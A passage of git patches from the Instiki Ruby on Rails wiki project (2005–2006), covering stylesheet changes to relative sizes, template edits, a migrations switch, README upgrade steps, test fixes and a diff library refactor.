connection.select_all(sanitize_sql([query, category])).map { |row| row['name'] } end From 434371dd2a71ed45d6a50252842a3a74f787500f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 14 Nov 2005 13:57:17 +0000 Subject: [PATCH 426/529] Reworked stylesheet to use relative sizes wherever possible --- public/stylesheets/instiki.css | 92 ++++++++++++++++------------------ 1 file changed, 44 insertions(+), 48 deletions(-) diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index b179271d..8e85e197 100644 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -1,87 +1,83 @@ body { background-color: white; color: #333; } -body, p, ol, ul, td { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 18px; } +body, p, ol, ul, td { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; line-height: 1.3em; } -#Container { float: none; margin: 0 auto; text-align: center; } -#Content { margin: 0; padding: 5px; text-align: left; border-top: none; float: left; } +#Container { float: none; margin: 0 15%; text-align: center; } +#Content { margin: 0; padding: 0.3em; text-align: left; border-top: none; float: left; width: 100%; } a { color: black; } a:visited { color: #666; } a:hover { color: white; background-color:#000; } h1, h2, h3 { color: #333; font-family: georgia, verdana, sans-serif; } -h1 { font-size: 28px } -h2 { font-size: 19px } -h3 { font-size: 16px } +h1 { font-size: 200%; } +h2 { font-size: 130%; } +h3 { font-size: 120%; } -h1#pageName { margin: 5px 0 0; padding: 0; line-height: 28px; } -h1#pageName small { color: #444; line-height: 10px; font-size: 10px; padding: 0; } +h1#pageName { margin: 0.2em 0 0; line-height: 1em; padding: 0; } +h1#pageName small { color: #444; font-size: 35%; line-height: 1em; padding: 0; } -a.nav, a.nav:link, a.nav:visited { color: #000; } -a.nav:hover { color: #fff; background-color:#000; } +a.nav, a.nav:link, a.nav:visited { color: black; } +a.nav:hover { color: white; background-color: black; } + +table { border: double black; border-collapse: collapse; } +td { border: thin solid grey; } + +li { margin-bottom: 0.5em; } .newWikiWord { background-color: #BFBFBF; } .newWikiWord a:hover { background-color: white; } -li { margin-bottom: 7px } +form#navigationSearchForm { display: inline; } +form#navigationSearchForm input { font-size: 80%; } -.navigation { margin-top: 5px; font-size : 12px; color: #999; } -.navigation a:hover { color: #fff; background-color:#000; } -.navigation a { font-size: 11px; color: black; font-weight: bold; } -.navigation small a { font-weight: normal; font-size: 11px; } - -.navOn{ font-size: 11px; color: #444; font-weight: bold; text-decoration: none; } +.navigation { margin-top: 0.3em; font-size : 90%; color: #999; } +.navigation a:hover { color: white; background-color: black; text-decoration: none; } +.navigation a { font-size: 80%; color: black; font-weight: bold; } +.navigation small a { font-weight: normal; font-size: 90%; } -.help { font-family: verdana, arial, helvetica, sans-serif; font-size: 11px; } +.navOn { font-size: 11px; color: #444; font-weight: bold; text-decoration: none; } -.inputBox { font-family: verdana, arial, helvetica, sans-serif; font-size: 11px; background-color: #eee; padding: 5px; margin-bottom: 20px; } +.help { font-family: verdana, arial, helvetica, sans-serif; font-size: 70%; } -blockquote { display: block; margin: 0px 0px 20px 0px; padding: 0px 30px; font-size:11px; line-height:17px; font-style: italic; } +.inputBox { font-family: verdana, arial, helvetica, sans-serif; font-size: 80%; background-color: #EEE; padding: 0.3em; margin-bottom: 1.5em; } -pre { background-color: #eee; padding: 10px; font-size: 11px; overflow: auto; } +blockquote { display: block; font-size: 90%; margin: 0 0 1.5em 0; padding: 0 2.5em; line-height: 1.5em; font-style: italic; } -ol.setup { font-size: 19px; font-family: georgia, verdana, sans-serif; padding-left: 25px; } -ol.setup li { margin-bottom: 20px } +pre { font-size: 90%; padding: 1em; overflow: auto; background-color: #DDD; } -.byline { font-size: 10px; font-style: italic; margin-bottom: 10px; color: #999; } +ol.setup { font-size: 110%; font-family: georgia, verdana, sans-serif; padding-left: 1.5em; margin-top: 1em; } -.references { font-size: 10px; } +.byline { padding-top: 1em; font-size: 60%; font-style: italic; margin-bottom: 1em; color: #999; } .diffdel, del.diffmod { background: pink; } .diffins, ins.diffmod { background: lightgreen; } -#footer { height: 14px; padding: .25em 0; } -#footer p { font-size: 10px; color: gray; font-style: italic; margin: 0; float: right; text-align: right; } +#footer { font-size: 60%; line-height: 1.2em; color: #999; font-style: italic; text-align: right; padding-top: 2em; } +#footer a:link, #footer a:visited { color: #888; font-style: italic; } div.inputFieldWithPrompt { margin: 0.75em 0; } - -div.errorExplanation { color: #900; font-style: italic; font-weight: bold; margin: 1.5em 0; padding: 1em; background: #FFA; } +div.errorExplanation { color: #900; background-color: #FFA; font-style: italic; font-weight: bold; margin: 1.5em 0; padding: 1em; width: 100%; } div.errorExplanation h2 { display: none; } div.errorExplanation p { padding: 0; margin: 0; border: none; } div.errorExplanation ul { padding: 0; margin: 0.5em 0 0 2em; border: none; } div.errorExplanation li { padding 0; margin: 0; border: none; } div.fieldWithErrors input { border: 1px solid #900; } +div.info { color: #060; background-color: #BFBFBF; padding: 0.5em; margin-top: 0.5em; font-weight: bold; width: 100%; } +div#MarkupHelp { float: right; width: 25%; margin-top: 0.5em; } +div#MarkupHelp table { margin-bottom: 0; border-top: 3px solid #999; border-left: 3px solid #999; + border-right: 3px solid #BBB; border-bottom: 3px solid #BBB} +div#MarkupHelp td { font-size: 80%; padding: 0.2em; margin: 0; border: 1px solid #999; border-width: 1px 0 1px 0; + vertical-align: top; white-space: nowrap; } +div#MarkupHelp td.arrow { padding-right: 5px; padding: 0 0.75em; color: #999; } +div#MarkupHelp h3 { font-size: 90%; font-weight: bold; font-weight: normal; margin: 0 0 5px 0; padding: 5px 0 0 0; } +div#MarkupHelp p { font-size: 70%; } +div.rightHandSide { float: right; width: 25%; margin-left: 0.7em; padding-left: 1.5em; border-left: 1px dotted #ccc; font-size: 80%; } -#info { color: #060; font-style: italic; width: 600px; } -#TextileHelp table { margin-bottom: 0; } -#TextileHelp table+h3 { margin-top: 11px; } -#TextileHelp table td { font-size: 11px; padding: 3px; vertical-align: top; border-top: 1px dotted #ccc; } -#TextileHelp table td.arrow { padding-right: 5px; padding-left: 10px; color: #999; } -#TextileHelp table td.label { font-weight: bold; white-space: nowrap; font-size: 10px; padding-right: 15px; color: #000; } -#TextileHelp h3 { font-size: 11px; font-weight: bold; font-weight: normal; margin: 0 0 5px 0; padding: 5px 0 0 0; } -#TextileHelp p { font-size: 10px; } - -.rightHandSide { float: right; width: 147px; margin-left: 10px; padding-left: 20px; border-left: 1px dotted #ccc; } -.rightHandSide p { font-size: 10px; } - -.newsList { margin-top: 20px; } -.newsList p { margin-bottom:30px; } - -table { border: double black; border-collapse: collapse; } -td { border:thin solid grey; } -.byline { padding-top: 15px; } +.newsList { margin-top: 1.5em; } +.newsList p { margin-bottom: 2.5em; } /* Affects the display of "category: ..." */ -.property { color: grey; font-size: 10px; } +.property { color: #999; font-size: 80%; } From 90fc099a7853de5ca5f63f6aa3fc8a0ccb51d9ac Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 14 Nov 2005 14:02:36 +0000 Subject: [PATCH 427/529] Changes in RHTML templates to go wioth the earlier commit --- app/views/admin/create_system.rhtml | 4 ++-- app/views/admin/edit_web.rhtml | 26 +++++++++++++------------- app/views/layouts/default.rhtml | 17 ++++++----------- app/views/navigation.rhtml | 24 ++++++++++-------------- app/views/wiki/edit.rhtml | 4 ++-- 5 files changed, 33 insertions(+), 42 deletions(-) diff --git a/app/views/admin/create_system.rhtml b/app/views/admin/create_system.rhtml index 77f8a316..2f1cfbdf 100644 --- a/app/views/admin/create_system.rhtml +++ b/app/views/admin/create_system.rhtml @@ -31,9 +31,9 @@
    • Password for creating and changing webs

      - Administrative access allows you to make new webs and change existing ones.
      - Everyone with this password will be able to do this, so pick it carefully. + Administrative access allows you to make new webs and change existing ones.
      +
      Everyone with this password will be able to do this, so pick it carefully!
      Password:    diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 58734136..e4f99019 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -11,16 +11,16 @@ Ex: the address "rails" gives URLs like /rails/show/HomePage.
      -
      - Name: + Name:    - Address: - (Letters and digits only) + (Letters and digits only)

      Specialize

      -
      +
      Markup: /> + /> Safe mode - strip HTML tags and stylesheet options from the content of all pages
      - /> + /> Brackets only - require all wiki words to be as [[wiki word]], WikiWord links won't be created
      - /> + /> Count pages
      - /> + /> Allow uploads of no more than - kbytes - @@ -69,7 +69,7 @@ instiki.css. Hint: View HTML source of a page you want to style to find ID names on individual tags.
      - @@ -95,7 +95,7 @@ The published version is accessible through URLs like /wiki/published/HomePage.
      - /> + /> Publish this web
      @@ -124,7 +124,7 @@

      Clean up by entering system password - + and diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index d43208fa..bd357488 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -20,10 +20,6 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" h1#pageName, .newWikiWord a, a.existingWikiWord, .newWikiWord a:hover, #TextileHelp h3 { color: #<%= @web ? @web.color : "393" %>; } - - #Container, #Content { - width: <%= @content_width || "600" %>px; - } <%= File.read(RAILS_ROOT + '/public/stylesheets/instiki.css') if @inline_style %> @@ -55,12 +51,12 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" <% end %> -<% if @flash[:info] %>

      -

      <%= escape_preserving_linefeeds @flash[:info] %>


      -<% end %> - <%= render 'navigation' unless @web.nil? || @hide_navigation %> +<% if @flash[:info] %> +
      <%= escape_preserving_linefeeds @flash[:info] %>
      +<% end %> + <% if @error or @flash[:error] %>
      <%= escape_preserving_linefeeds(@error || @flash[:error]) %>
      <% end %> @@ -69,9 +65,8 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" <% if @show_footer %> <% end %> diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml index 3568f866..45bd413b 100644 --- a/app/views/navigation.rhtml +++ b/app/views/navigation.rhtml @@ -8,25 +8,21 @@ def list_item(text, link_options, description, accesskey = nil) end %> -<%= form_tag({ :controller => 'wiki', :action => 'search', :web => @web.address}, - {'id' => 'navigationForm', 'class' => 'navigation', 'method' => 'get'}) -%> - + \ No newline at end of file diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index 0da5eb6f..0c5bb596 100644 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -4,7 +4,7 @@ @hide_navigation = true %> -
      +
      <%= render("#{@web.markup}_help") %> <%= render 'wiki_words_help' %>
      @@ -14,7 +14,7 @@ %>

      - +

      as From 7de64bdecf450d2c1c518bca15751497704c4b1c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 19 Nov 2005 14:46:27 +0000 Subject: [PATCH 428/529] diff.rb ignores insides of

       and  blocks -
       this is better than mangling them
      
      ---
       lib/diff.rb | 37 +++++++++++++++++++++++++++++--------
       1 file changed, 29 insertions(+), 8 deletions(-)
      
      diff --git a/lib/diff.rb b/lib/diff.rb
      index 24f9538a..4a4e80f0 100644
      --- a/lib/diff.rb
      +++ b/lib/diff.rb
      @@ -82,8 +82,13 @@ module Diff
               when :tag
                 if end_of_tag? char
                   cur += use_brackets ? ']' : '>'
      -            out.push cur
      -            cur, mode  = '', :char
      +            case cur
      +            when '
      ' then mode = :pre
      +            when '' then mode = :code
      +            else 
      +              out.push cur
      +              cur, mode  = '', :char
      +            end
                 else
                   cur += char
                 end
      @@ -98,6 +103,22 @@ module Diff
                 else
                   cur += char
                 end
      +        when :pre
      +          if end_of_tag?(char) and cur =~ %r!
      Date: Fri, 30 Dec 2005 07:24:51 +0000
      Subject: [PATCH 429/529] Switch from schema.rb to migrations
      
      ---
       db/migrate/001_beta1_schema.rb       | 56 ++++++++++++++++++++
       db/migrate/002_beta2_changes_bulk.rb | 36 +++++++++++++
       db/schema.rb                         | 78 ----------------------------
       3 files changed, 92 insertions(+), 78 deletions(-)
       create mode 100644 db/migrate/001_beta1_schema.rb
       create mode 100644 db/migrate/002_beta2_changes_bulk.rb
       delete mode 100644 db/schema.rb
      
      diff --git a/db/migrate/001_beta1_schema.rb b/db/migrate/001_beta1_schema.rb
      new file mode 100644
      index 00000000..c8e2427f
      --- /dev/null
      +++ b/db/migrate/001_beta1_schema.rb
      @@ -0,0 +1,56 @@
      +class Beta1Schema < ActiveRecord::Migration
      +  def self.up
      +    create_table "pages", :force => true do |t|
      +      t.column "created_at", :datetime, :null => false
      +      t.column "updated_at", :datetime, :null => false
      +      t.column "web_id", :integer, :default => 0, :null => false
      +      t.column "locked_by", :string, :limit => 60
      +      t.column "name", :string, :limit => 60
      +      t.column "locked_at", :datetime
      +    end
      +  
      +    create_table "revisions", :force => true do |t|
      +      t.column "created_at", :datetime, :null => false
      +      t.column "updated_at", :datetime, :null => false
      +      t.column "revised_at", :datetime, :null => false
      +      t.column "page_id", :integer, :default => 0, :null => false
      +      t.column "content", :text, :default => "", :null => false
      +      t.column "author", :string, :limit => 60
      +      t.column "ip", :string, :limit => 60
      +    end
      +  
      +    create_table "system", :force => true do |t|
      +      t.column "password", :string, :limit => 60
      +    end
      +  
      +    create_table "webs", :force => true do |t|
      +      t.column "created_at", :datetime, :null => false
      +      t.column "updated_at", :datetime, :null => false
      +      t.column "name", :string, :limit => 60, :default => "", :null => false
      +      t.column "address", :string, :limit => 60, :default => "", :null => false
      +      t.column "password", :string, :limit => 60
      +      t.column "additional_style", :string
      +      t.column "allow_uploads", :integer, :limit => 4, :default => 1
      +      t.column "published", :integer, :limit => 4, :default => 0
      +      t.column "count_pages", :integer, :limit => 4, :default => 0
      +      t.column "markup", :string, :limit => 50, :default => "textile"
      +      t.column "color", :string, :limit => 6, :default => "008B26"
      +      t.column "max_upload_size", :integer, :default => 100
      +      t.column "safe_mode", :integer, :limit => 4, :default => 0
      +      t.column "brackets_only", :integer, :limit => 4, :default => 0
      +    end
      +  
      +    create_table "wiki_references", :force => true do |t|
      +      t.column "created_at", :datetime, :null => false
      +      t.column "updated_at", :datetime, :null => false
      +      t.column "page_id", :integer, :default => 0, :null => false
      +      t.column "referenced_name", :string, :limit => 60, :default => "", :null => false
      +      t.column "link_type", :string, :limit => 1, :default => "", :null => false
      +    end
      +  end
      +
      +  def self.down
      +    raise 'Initial schema - cannot be further reverted'
      +  end
      +
      +end
      diff --git a/db/migrate/002_beta2_changes_bulk.rb b/db/migrate/002_beta2_changes_bulk.rb
      new file mode 100644
      index 00000000..b0b94486
      --- /dev/null
      +++ b/db/migrate/002_beta2_changes_bulk.rb
      @@ -0,0 +1,36 @@
      +class Beta2ChangesBulk < ActiveRecord::Migration
      +  def self.up
      +    add_index "revisions", "page_id"
      +    add_index "revisions", "created_at"
      +    add_index "revisions", "author"
      +    
      +    create_table "sessions", :force => true do |t|
      +      t.column "session_id", :string
      +      t.column "data", :text
      +      t.column "updated_at", :datetime
      +    end
      +    add_index "sessions", "session_id"
      +    
      +    create_table "wiki_files", :force => true do |t|
      +      t.column "created_at", :datetime, :null => false
      +      t.column "updated_at", :datetime, :null => false
      +      t.column "web_id", :integer, :null => false
      +      t.column "file_name", :string, :null => false
      +      t.column "description", :string, :null => false
      +    end
      +
      +    add_index "wiki_references", "page_id"
      +    add_index "wiki_references", "referenced_name"
      +  end
      +
      +  def self.down
      +    remove_index "wiki_references", "referenced_name"
      +    remove_index "wiki_references", "page_id"
      +    drop_table "wiki_files"
      +    remove_index "sessions", "session_id"
      +    drop_table "sessions"
      +    remove_index "revisions", "author"
      +    remove_index "revisions", "created_at"
      +    remove_index "revisions", "page_id"
      +  end
      +end
      diff --git a/db/schema.rb b/db/schema.rb
      deleted file mode 100644
      index 43d08471..00000000
      --- a/db/schema.rb
      +++ /dev/null
      @@ -1,78 +0,0 @@
      -# This file is autogenerated. Instead of editing this file, please use the
      -# migrations feature of ActiveRecord to incrementally modify your database, and
      -# then regenerate this schema definition.
      -
      -ActiveRecord::Schema.define() do
      -
      -  create_table "pages", :force => true do |t|
      -    t.column "created_at", :datetime, :null => false
      -    t.column "updated_at", :datetime, :null => false
      -    t.column "web_id", :integer, :null => false
      -    t.column "locked_by", :string, :limit => 60
      -    t.column "name", :string, :limit => 60
      -    t.column "locked_at", :datetime
      -  end
      -
      -  create_table "revisions", :force => true do |t|
      -    t.column "created_at", :datetime, :null => false
      -    t.column "updated_at", :datetime, :null => false
      -    t.column "revised_at", :datetime, :null => false
      -    t.column "page_id", :integer, :null => false
      -    t.column "content", :text, :null => false
      -    t.column "author", :string, :limit => 60
      -    t.column "ip", :string, :limit => 60
      -  end
      -
      -  add_index "revisions", ["page_id"], :name => "revisions_page_id_index"
      -  add_index "revisions", ["created_at"], :name => "revisions_created_at_index"
      -  add_index "revisions", ["author"], :name => "revisions_author_index"
      -
      -  create_table "sessions", :force => true do |t|
      -    t.column "session_id", :string
      -    t.column "data", :text
      -    t.column "updated_at", :datetime
      -  end
      -
      -  add_index "sessions", ["session_id"], :name => "sessions_session_id_index"
      -
      -  create_table "system", :force => true do |t|
      -    t.column "password", :string, :limit => 60
      -  end
      -
      -  create_table "webs", :force => true do |t|
      -    t.column "created_at", :datetime, :null => false
      -    t.column "updated_at", :datetime, :null => false
      -    t.column "name", :string, :limit => 60, :null => false
      -    t.column "address", :string, :limit => 60, :null => false
      -    t.column "password", :string, :limit => 60
      -    t.column "additional_style", :string
      -    t.column "allow_uploads", :integer, :default => 1
      -    t.column "published", :integer, :default => 0
      -    t.column "count_pages", :integer, :default => 0
      -    t.column "markup", :string, :limit => 50, :default => "textile"
      -    t.column "color", :string, :limit => 6, :default => "008B26"
      -    t.column "max_upload_size", :integer, :default => 100
      -    t.column "safe_mode", :integer, :default => 0
      -    t.column "brackets_only", :integer, :default => 0
      -  end
      -
      -  create_table "wiki_files", :force => true do |t|
      -    t.column "created_at", :datetime, :null => false
      -    t.column "updated_at", :datetime, :null => false
      -    t.column "web_id", :integer, :null => false
      -    t.column "file_name", :string, :null => false
      -    t.column "description", :string, :null => false
      -  end
      -
      -  create_table "wiki_references", :force => true do |t|
      -    t.column "created_at", :datetime, :null => false
      -    t.column "updated_at", :datetime, :null => false
      -    t.column "page_id", :integer, :null => false
      -    t.column "referenced_name", :string, :limit => 60, :null => false
      -    t.column "link_type", :string, :limit => 1, :null => false
      -  end
      -
      -  add_index "wiki_references", ["page_id"], :name => "wiki_references_page_id_index"
      -  add_index "wiki_references", ["referenced_name"], :name => "wiki_references_referenced_name_index"
      -
      -end
      
      From b78b693299a38c5f515eec8d26d02558535a9787 Mon Sep 17 00:00:00 2001
      From: Alexey Verkhovsky 
      Date: Fri, 30 Dec 2005 07:25:49 +0000
      Subject: [PATCH 430/529] Upgrade to Rails 1.0 (doesnt work yet)
      
      
      From df8cc9065802a0959365da96b3045a4305998fb6 Mon Sep 17 00:00:00 2001
      From: Alexey Verkhovsky 
      Date: Fri, 30 Dec 2005 08:14:44 +0000
      Subject: [PATCH 431/529] Documented the installation and upgrade from beta1
       using migrations
      
      ---
       README | 26 ++++++++++++--------------
       1 file changed, 12 insertions(+), 14 deletions(-)
      
      diff --git a/README b/README
      index 69dc36de..a80d0914 100755
      --- a/README
      +++ b/README
      @@ -27,7 +27,7 @@ to install (until somebody sends a patch to properly package Instiki for all tho
       5. Install SQLite 3 driver for Ruby from http://sqlite-ruby.rubyforge.org/
       6. Install Rake from http://rake.rubyforge.org/
       7. Execute rm -f db/*.db
      -8. Execute 'rake db_schema_import'
      +8. Execute 'rake migrate'
       9. Make an embarrassed sigh (as I do while writing this)
       10. Run 'instiki' again
       11. Pat yourself on the shoulder for being such a talented geek
      @@ -77,22 +77,20 @@ to install (until somebody sends a patch to properly package Instiki for all tho
       6. Restart Instiki
       7. Go over some pages, especially those with a lot of complex markup, and see if anything is broken.
       
      -The most common migration problem is this: 
      -If you open All Pages screen and see a lot of orphaned pages, 
      +The most common migration problem is this: if you open All Pages and see a lot of orphaned pages, 
       you forgot to run ruby script\reset_references after importing the data.
       
       ===Upgrading from Instiki-AR Beta 1
      -In Beta 2 two new tables are added: sessions and wiki_files. Also, there are some indexes renamed or added.
      -Otherwise, there are no schema changes, table structure is the same as in Beta 1.
      -Therefore:
      -1. Create a new development database.
      -2. Edit config/database.yml as appropriate.
      -3. Execute 'rake db_schema_import'.
      -4. Export data (but not structure!) from Beta 1 database.
      -5. Import it into the new one.
      -6. Check that Beta 2 development environment works with imported data, and finally
      -7. Copy the development database (both data AND structure this time) to production.
      -Future releases will use Rails Migrations, so the upgrade will be somewhat less of a hassle.
      +In Beta 2, we switch to ActiveRecord:Migrations. Therefore:
      +1. Back up your production database.
      +2. Open command-line session to your database and execute: 
      +  create table schema_info (version integer(11)); 
      +  insert into schema_info (version) values (1);
      +3. Go back to the shell, change directory to the new Instiki and execute "rake migrate".
      +
      +Step 2 creates a table that tells to ActiveRecord:Migrations that the current version 
      +of this database is 1 (corresponding to Beta 1), and step 3 makes it up-to-date with
      +the current version of Instiki.
       
       ===Download the latest release from:
       * http://rubyforge.org/project/showfiles.php?group_id=186
      
      From 9b87b1f85f2bdd773b4b9512bfb2b9bb6b299265 Mon Sep 17 00:00:00 2001
      From: Alexey Verkhovsky 
      Date: Fri, 30 Dec 2005 08:42:06 +0000
      Subject: [PATCH 432/529] Fixed a broken func. test for FileController
      
      ---
       test/functional/file_controller_test.rb | 48 +++----------------------
       1 file changed, 4 insertions(+), 44 deletions(-)
      
      diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb
      index 4c6f4909..5009dfca 100755
      --- a/test/functional/file_controller_test.rb
      +++ b/test/functional/file_controller_test.rb
      @@ -86,51 +86,11 @@ class FileControllerTest < Test::Unit::TestCase
       
           # User uploads the picture
           picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif")
      -    r = get :file, :web => 'wiki1', :id => 'rails-e2e.gif', :file => StringIO.new(picture)
      -    assert_redirect_url '/'
      +    r = post :file, :web => 'wiki1', 
      +             :file => {:file_name => 'rails-e2e.gif',  :content => StringIO.new(picture)}
      +    assert_redirected_to({})
           assert @web.has_file?('rails-e2e.gif')
      -    assert_equal(picture, File.read("#{RAILS_ROOT}/public/file/rails-e2e.gif"))
      -    
      -    # this should refresh the page display content (cached)
      -    assert_equal "

      \"rails-e2e.gif\"

      ", - @home.display_content + assert_equal(picture, WikiFile.find_by_file_name('rails-e2e.gif').content) end -# def test_pic_upload_end_to_end -# # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' -# @wiki.revise_page('wiki1', 'HomePage', '[[instiki-e2e.txt:file]]', Time.now, 'AnonymousBrave', -# test_renderer) -# assert_equal "

      instiki-e2e.txt" + -# "?

      ", -# test_renderer(@home.revisions.last).display_content -# -# # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form -# r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt' -# assert_success -# assert_rendered_file 'file/file' -# -# # User uploads the picture -# file = "abcdefgh\n123" -# r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt', 'file' => StringIO.new(file) -# assert_redirected_to :controller => 'wiki', :action => 'show', :web => 'wiki1', :id => 'HomePage' -# assert @wiki.file_yard(@web).has_file?('instiki-e2e.txt') -# assert_equal(file, File.read("#{RAILS_ROOT}/storage/test/wiki1/instiki-e2e.txt")) -# -# # this should refresh the page display content (cached) -# @home = Page.find(@home.id) -# assert_equal "

      " + -# "instiki-e2e.txt

      ", -# test_renderer(@home.revisions.last).display_content -# end -# -# def test_uploads_blocking -# set_web_property :allow_uploads, true -# process 'file', 'web' => 'wiki1', 'id' => 'filename' -# assert_success -# -# set_web_property :allow_uploads, false -# process 'file', 'web' => 'wiki1', 'id' => 'filename' -# assert_response 403 -# end - end From 60c07ca1a2be120faf92474081cbb9c3311b5865 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 30 Dec 2005 08:49:15 +0000 Subject: [PATCH 433/529] wiki_references fixture (fixed #275) --- test/fixtures/wiki_references.yml | 56 +++++++++++++++---------------- 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/test/fixtures/wiki_references.yml b/test/fixtures/wiki_references.yml index 5d681261..717d1acb 100644 --- a/test/fixtures/wiki_references.yml +++ b/test/fixtures/wiki_references.yml @@ -3,110 +3,110 @@ my_way_1: page_id: 2 referenced_name: MyWay link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> smart_engine_1: id: 2 page_id: 3 referenced_name: SmartEngine link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> that_way_1: id: 3 page_id: 4 referenced_name: ThatWay link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> home_page_1: id: 4 page_id: 1 referenced_name: HisWay link_type: W - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> home_page_2: id: 5 page_id: 1 referenced_name: MyWay link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> home_page_3: id: 6 page_id: 1 referenced_name: ThatWay link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> home_page_4: id: 7 page_id: 1 referenced_name: SmartEngine link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> first_page_1: id: 8 page_id: 6 referenced_name: HisWay link_type: W - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> first_page_2: id: 9 page_id: 6 referenced_name: MyWay link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> first_page_3: id: 10 page_id: 6 referenced_name: ThatWay link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> first_page_4: id: 11 page_id: 6 referenced_name: OverThere link_type: W - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> first_page_5: id: 12 page_id: 6 referenced_name: SmartEngine link_type: L - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> oak_1: id: 13 page_id: 7 referenced_name: trees link_type: C - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> elephant_1: id: 14 page_id: 8 referenced_name: animals link_type: C - created_at: <%= Time.now %> - updated_at: <%= Time.now %> + created_at: <%= Time.now.to_formatted_s(:db) %> + updated_at: <%= Time.now.to_formatted_s(:db) %> \ No newline at end of file From 3ea1ef881f4d7b0c31c74d63cf1bed7925724319 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 22 Jan 2006 21:40:20 +0000 Subject: [PATCH 434/529] Refactoring and deleting unused code from lib/diffr.rb until I can understand what it says. Also fixes #256. The build is still broken. --- README | 3 +- lib/diff.rb | 668 +++++++++++--------------------- test/unit/diff_test.rb | 131 +++---- test/unit/page_renderer_test.rb | 5 +- 4 files changed, 298 insertions(+), 509 deletions(-) diff --git a/README b/README index a80d0914..0868a3ec 100755 --- a/README +++ b/README @@ -50,7 +50,8 @@ to install (until somebody sends a patch to properly package Instiki for all tho * Internationalization: Wiki words in any latin, greek, cyrillian, or armenian characters * Color diffs: Track changes through revisions * Definitely can run on SQLite and MySQL -* May be able to run on Postgres, Oracle, DB2 and SqlServer (if you try this ) +* May be able to run on Postgres, Oracle, DB2 and SqlServer. If you try this, and it works + (or, it doesn't, but you make it work) please write about it on Instiki.org. ===Command-line options: * Run "ruby instiki --help" diff --git a/lib/diff.rb b/lib/diff.rb index 4a4e80f0..acc82189 100644 --- a/lib/diff.rb +++ b/lib/diff.rb @@ -1,205 +1,111 @@ -# heavily based off difflib.py - see that file for documentation -# ported from Python by Bill Atkins +module HTMLDiff -# This does not support all features offered by difflib; it -# implements only the subset of features necessary -# to support a Ruby version of HTML Differ. You're welcome to finish this off. - -# By default, String#each iterates by line. This isn't really appropriate -# for diff, so often a string will be split by // to get an array of one- -# character strings. - -# Some methods in Diff are untested and are not guaranteed to work. The -# methods in HTMLDiff and any methods it calls should work quite well. - -# changes by DenisMertz -# * main change: -# ** get the tag soup away -# the tag soup problem was first reported with

      tags, but it appeared also with -#

    • ,
